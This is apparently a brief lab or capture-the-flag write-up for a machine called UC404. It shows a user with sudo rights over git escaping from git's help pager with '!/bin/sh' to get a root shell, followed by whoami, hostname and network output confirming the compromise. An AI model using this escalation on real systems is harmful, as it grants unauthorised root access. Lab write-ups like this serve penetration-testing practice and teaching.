UC404_Privilege_Escalation

sudo git

---

Given the brian user has sudo privileges to execute /usr/bin/git as anyone, it can be abused for privilege escalation

brian@UC404:~$ sudo git -p help config
GIT-CONFIG(1)                                                Git Manual                                                GIT-CONFIG(1)
 
NAME
       git-config - Get and set repository or global options
 
SYNOPSIS
       git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] name [value [value_regex]]
       git config [<file-option>] [--type=<type>] --add name value
       git config [<file-option>] [--type=<type>] --replace-all name value [value_regex]
       git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] --get name [value_regex]
       git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] --get-all name [value_regex]
       git config [<file-option>] [--type=<type>] [--show-origin] [-z|--null] [--name-only] --get-regexp name_regex [value_regex]
       git config [<file-option>] [--type=<type>] [-z|--null] --get-urlmatch name URL
       git config [<file-option>] --unset name [value_regex]
:
!/bin/sh
# whoami
root
# hostname
UC404
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:dd:02 brd ff:ff:ff:ff:ff:ff
    inet 192.168.125.109/24 brd 192.168.125.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise